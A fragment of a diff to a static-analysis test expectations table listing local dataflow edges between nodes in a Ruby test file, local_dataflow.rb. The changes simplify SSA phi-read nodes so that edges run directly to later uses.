| local_dataflow.rb:19:5:19:5 | phi | | local_dataflow.rb:19:5:19:5 | [post] x | local_dataflow.rb:19:5:19:5 | [input] phi | | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | ... = ... | | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | x | | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi | -| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi | +| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | phi | | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:20:6:20:6 | x | | local_dataflow.rb:24:2:24:8 | break | local_dataflow.rb:23:1:25:3 | while ... | | local_dataflow.rb:24:8:24:8 | 5 | local_dataflow.rb:24:2:24:8 | break | @@ -3208,27 +2608,23 @@ | local_dataflow.rb:60:1:90:3 | self in test_case | local_dataflow.rb:60:1:90:3 | self (test_case) | | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:60:15:60:15 | x | | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:61:12:61:12 | x | -| local_dataflow.rb:61:7:68:5 | SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:61:7:68:5 | case ... | local_dataflow.rb:61:3:68:5 | ... = ... | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:63:15:63:15 | x | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:65:6:65:6 | x | | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:67:5:67:5 | x | -| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:62:10:62:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... | | local_dataflow.rb:62:15:62:15 | 3 | local_dataflow.rb:62:10:62:15 | then ... | -| local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | | local_dataflow.rb:63:10:63:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | | local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | then ... | -| local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:64:9:65:6 | then ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | | local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | then ... | -| local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) | +| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:66:3:67:5 | else ... | local_dataflow.rb:61:7:68:5 | case ... | -| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | | local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | else ... | +| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:69:12:69:12 | x | | local_dataflow.rb:69:7:76:5 | case ... | local_dataflow.rb:69:3:76:5 | ... = ... | | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:71:13:71:13 | x | | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:73:7:73:7 | x | @@ -3242,7 +2638,6 @@ | local_dataflow.rb:74:3:75:6 | else ... | local_dataflow.rb:69:7:76:5 | case ... | | local_dataflow.rb:75:6:75:6 | x | local_dataflow.rb:74:3:75:6 | else ... | | local_dataflow.rb:78:3:78:3 | z | local_dataflow.rb:89:8:89:8 | z | -| local_dataflow.rb:78:7:88:5 | SSA phi read(self) | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:78:3 | z | | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:88:5 | ... = ... | | local_dataflow.rb:78:12:78:20 | [post] self | local_dataflow.rb:79:20:79:26 | self | @@ -3260,23 +2655,20 @@ | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:86:28:86:34 | self | | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:87:20:87:26 | self | | local_dataflow.rb:79:13:79:13 | b | local_dataflow.rb:79:25:79:25 | b | -| local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:79:15:79:45 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | +| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:79:20:79:26 | call to sink | local_dataflow.rb:79:15:79:45 | then ... | -| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | +| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:80:8:80:8 | a | local_dataflow.rb:80:13:80:13 | a | | local_dataflow.rb:80:13:80:13 | [post] a | local_dataflow.rb:80:29:80:29 | a | | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:29:80:29 | a | -| local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:80:19:80:49 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | +| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:80:24:80:30 | call to sink | local_dataflow.rb:80:19:80:49 | then ... | -| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | +| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:81:9:81:9 | c | local_dataflow.rb:82:12:82:12 | c | | local_dataflow.rb:81:13:81:13 | d | local_dataflow.rb:83:12:83:12 | d | | local_dataflow.rb:81:16:81:16 | e | local_dataflow.rb:84:12:84:12 | e | -| local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:81:20:84:33 | then ... | local_dataflow.rb:78:7:88:5 | case ... | | local_dataflow.rb:81:25:84:14 | call to [] | local_dataflow.rb:81:20:84:33 | then ... | | local_dataflow.rb:81:25:84:14 | synthetic splat argument | local_dataflow.rb:81:25:84:14 | call to [] | @@ -3284,32 +2676,29 @@ | local_dataflow.rb:82:7:82:13 | self | local_dataflow.rb:83:7:83:13 | self | | local_dataflow.rb:83:7:83:13 | [post] self | local_dataflow.rb:84:7:84:13 | self | | local_dataflow.rb:83:7:83:13 | self | local_dataflow.rb:84:7:84:13 | self | -| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | -| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | +| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:89:3:89:9 | self | +| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:85:13:85:13 | f | local_dataflow.rb:85:27:85:27 | f | -| local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:85:17:85:47 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | +| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:85:22:85:28 | call to sink | local_dataflow.rb:85:17:85:47 | then ... | -| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | +| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:86:18:86:18 | g | local_dataflow.rb:86:33:86:33 | g | -| local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:86:23:86:53 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | +| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:86:28:86:34 | call to sink | local_dataflow.rb:86:23:86:53 | then ... | -| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | +| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:87:10:87:10 | x | local_dataflow.rb:87:25:87:25 | x | -| local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) | | local_dataflow.rb:87:15:87:48 | then ... | local_dataflow.rb:78:7:88:5 | case ... | -| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | -| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | +| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:89:3:89:9 | self | +| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:89:3:89:9 | self | | local_dataflow.rb:87:25:87:25 | [post] x | local_dataflow.rb:87:29:87:29 | x | | local_dataflow.rb:87:25:87:25 | x | local_dataflow.rb:87:29:87:29 | x | | local_dataflow.rb:87:29:87:29 | x | local_dataflow.rb:87:15:87:48 | then ... | | local_dataflow.rb:92:1:109:3 | self (and_or) | local_dataflow.rb:93:7:93:15 | self | | local_dataflow.rb:92:1:109:3 | self in and_or | local_dataflow.rb:92:1:109:3 | self (and_or) | | local_dataflow.rb:93:3:93:3 | a | local_dataflow.rb:94:8:94:8 | a | -| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) | +| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:20:93:28 | self | | local_dataflow.rb:93:7:93:15 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... | @@ -3317,59 +2706,51 @@ | local_dataflow.rb:93:7:93:15 | self | local_dataflow.rb:93:20:93:28 | self | | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:3 | a | | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:28 | ... = ... | -| local_dataflow.rb:93:7:93:28 | SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self | -| local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) | -| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | +| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:93:20:93:28 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... | -| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | +| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:94:3:94:9 | self | | local_dataflow.rb:94:3:94:9 | [post] self | local_dataflow.rb:95:8:95:16 | self | | local_dataflow.rb:94:3:94:9 | self | local_dataflow.rb:95:8:95:16 | self | | local_dataflow.rb:95:3:95:3 | b | local_dataflow.rb:96:8:96:8 | b | | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:3 | b | | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:30 | ... = ... | -| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) | +| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:21:95:29 | self | | local_dataflow.rb:95:8:95:16 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... | | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:21:95:29 | self | | local_dataflow.rb:95:8:95:29 | ... or ... | local_dataflow.rb:95:7:95:30 | ( ... ) | -| local_dataflow.rb:95:8:95:29 | SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self | -| local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) | -| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | +| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:95:21:95:29 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... | -| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | +| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:96:3:96:9 | self | | local_dataflow.rb:96:3:96:9 | [post] self | local_dataflow.rb:98:7:98:15 | self | | local_dataflow.rb:96:3:96:9 | self | local_dataflow.rb:98:7:98:15 | self | | local_dataflow.rb:98:3:98:3 | a | local_dataflow.rb:99:8:99:8 | a | -| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) | +| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:20:98:28 | self | | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:20:98:28 | self | | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:3 | a | | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:28 | ... = ... | -| local_dataflow.rb:98:7:98:28 | SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self | -| local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) | -| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | +| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:98:20:98:28 | call to source | local_dataflow.rb:98:7:98:28 | ... && ... | -| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | +| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:99:3:99:9 | self | | local_dataflow.rb:99:3:99:9 | [post] self | local_dataflow.rb:100:8:100:16 | self | | local_dataflow.rb:99:3:99:9 | self | local_dataflow.rb:100:8:100:16 | self | | local_dataflow.rb:100:3:100:3 | b | local_dataflow.rb:101:8:101:8 | b | | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:3 | b | | local_dataflow.rb:100:7:100:31 | ( ... ) | local_dataflow.rb:100:3:100:31 | ... = ... | -| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) | +| local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | | local_dataflow.rb:100:8:100:16 | [post] self | local_dataflow.rb:100:22:100:30 | self | | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:8:100:16 | [input] SSA phi read(self) | | local_dataflow.rb:100:8:100:16 | self | local_dataflow.rb:100:22:100:30 | self | | local_dataflow.rb:100:8:100:30 | ... and ... | local_dataflow.rb:100:7:100:31 | ( ... ) | -| local_dataflow.rb:100:8:100:30 | SSA phi read(self) | local_dataflow.rb:101:3:101:9 | self | -| local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | local_dataflow.rb:100:8:100:30 | SSA phi read(self) | -| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | +| local_dataflow.rb:100:22:100:30 | [post] self | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:100:22:100:30 | call to source | local_dataflow.rb:100:8:100:30 | ... and ... | -| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:100:22:100:30 | [input] SSA phi read(self) | +| local_dataflow.rb:100:22:100:30 | self | local_dataflow.rb:101:3:101:9 | self | | local_dataflow.rb:101:3:101:9 | [post] self | local_dataflow.rb:103:7:103:15 | self | | local_dataflow.rb:101:3:101:9 | self | local_dataflow.rb:103:7:103:15 | self | | local_dataflow.rb:103:3:103:3 | a | local_dataflow.rb:104:3:104:3 | a | @@ -3379,16 +2760,14 @@ | local_dataflow.rb:103:7:103:15 | call to source | local_dataflow.rb:103:3:103:15 | ... = ... | | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | | local_dataflow.rb:103:7:103:15 | self | local_dataflow.rb:104:9:104:17 | self | -| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) | +| local_dataflow.rb:104:3:104:3 | [input] SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:104:5:104:7 | ... \|\| ... | | local_dataflow.rb:104:3:104:3 | a | local_dataflow.rb:105:8:105:8 | a | | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:3 | a | | local_dataflow.rb:104:5:104:7 | ... \|\| ... | local_dataflow.rb:104:3:104:17 | ... = ... | -| local_dataflow.rb:104:5:104:7 | SSA phi read(self) | local_dataflow.rb:105:3:105:9 | self | -| local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | local_dataflow.rb:104:5:104:7 | SSA phi read(self) | -| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | +| local_dataflow.rb:104:9:104:17 | [post] self | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:104:9:104:17 | call to source | local_dataflow.rb:104:5:104:7 | ... \|\| ... | -| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:104:9:104:17 | [input] SSA phi read(self) | +| local_dataflow.rb:104:9:104:17 | self | local_dataflow.rb:105:3:105:9 | self | | local_dataflow.rb:105:3:105:9 | [post] self | local_dataflow.rb:106:7:106:15 | self | | local_dataflow.rb:105:3:105:9 | self | local_dataflow.rb:106:7:106:15 | self | | local_dataflow.rb:106:3:106:3 | b | local_dataflow.rb:107:3:107:3 | b | @@ -3398,15 +2777,13 @@ | local_dataflow.rb:106:7:106:15 | call to source | local_dataflow.rb:106:3:106:15 | ... = ... | | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | | local_dataflow.rb:106:7:106:15 | self | local_dataflow.rb:107:9:107:17 | self | -| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) | +| local_dataflow.rb:107:3:107:3 | [input] SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self | | local_dataflow.rb:107:3:107:3 | b | local_dataflow.rb:108:8:108:8 | b | | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:3 | b | | local_dataflow.rb:107:5:107:7 | ... && ... | local_dataflow.rb:107:3:107:17 | ... = ... | -| local_dataflow.rb:107:5:107:7 | SSA phi read(self) | local_dataflow.rb:108:3:108:9 | self | -| local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | local_dataflow.rb:107:5:107:7 | SSA phi read(self) | -| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | +| local_dataflow.rb:107:9:107:17 | [post] self | local_dataflow.rb:108:3:108:9 | self | | local_dataflow.rb:107:9:107:17 | call to source | local_dataflow.rb:107:5:107:7 | ... && ... | -| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:107:9:107:17 | [input] SSA phi read(self) | +| local_dataflow.rb:107:9:107:17 | self | local_dataflow.rb:108:3:108:9 | self | | local_dataflow.rb:111:1:114:3 | self (object_dup) | local_dataflow.rb:112:3:112:21 | self | | local_dataflow.rb:111:1:114:3 | self in object_dup | local_dataflow.rb:111:1:114:3 | self (object_dup) | | local_dataflow.rb:112:3:112:21 | [post] self | local_dataflow.rb:112:8:112:16 | self | @@ -3455,24 +2832,20 @@ | local_dataflow.rb:132:10:132:10 | [post] x | local_dataflow.rb:133:12:133:12 | x | | local_dataflow.rb:132:10:132:10 | x | local_dataflow.rb:133:12:133:12 | x | | local_dataflow.rb:132:12:148:10 | then ... | local_dataflow.rb:132:3:149:5 | if ... | -| local_dataflow.rb:133:5:139:7 | SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self | -| local_dataflow.rb:133:5:139:7 | SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | -| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) | -| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) | +| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | +| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:18:133:23 | self | | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... | | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [true] ... \|\| ... | | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:18:133:23 | self | -| local_dataflow.rb:133:8:133:23 | SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | -| local_dataflow.rb:133:8:133:23 | SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:22:133:22 | x | | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:22:133:22 | x | -| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) | -| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) | +| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | +| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:136:7:136:12 | self | | local_dataflow.rb:133:18:133:23 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... | @@ -3483,43 +2856,35 @@ | local_dataflow.rb:133:22:133:22 | [post] x | local_dataflow.rb:136:11:136:11 | x | | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:136:11:136:11 | x | -| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) | -| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) | | local_dataflow.rb:133:24:134:12 | then ... | local_dataflow.rb:133:5:139:7 | if ... | -| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | +| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:141:9:141:14 | self | | local_dataflow.rb:134:7:134:12 | call to use | local_dataflow.rb:133:24:134:12 | then ... | -| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | -| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | -| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | -| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) | -| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) | +| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:141:9:141:14 | self | +| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:141:13:141:13 | x | +| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:141:13:141:13 | x | | local_dataflow.rb:135:5:138:9 | else ... | local_dataflow.rb:133:5:139:7 | if ... | | local_dataflow.rb:136:7:136:12 | [post] self | local_dataflow.rb:137:10:137:15 | self | | local_dataflow.rb:136:7:136:12 | self | local_dataflow.rb:137:10:137:15 | self | | local_dataflow.rb:136:11:136:11 | [post] x | local_dataflow.rb:137:14:137:14 | x | | local_dataflow.rb:136:11:136:11 | x | local_dataflow.rb:137:14:137:14 | x | -| local_dataflow.rb:137:7:138:9 | SSA phi read(self) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | -| local_dataflow.rb:137:7:138:9 | SSA phi read(x) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | | local_dataflow.rb:137:7:138:9 | if ... | local_dataflow.rb:135:5:138:9 | else ... | -| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) | +| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | +| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:21:137:26 | self | | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:21:137:26 | self | -| local_dataflow.rb:137:10:137:26 | SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 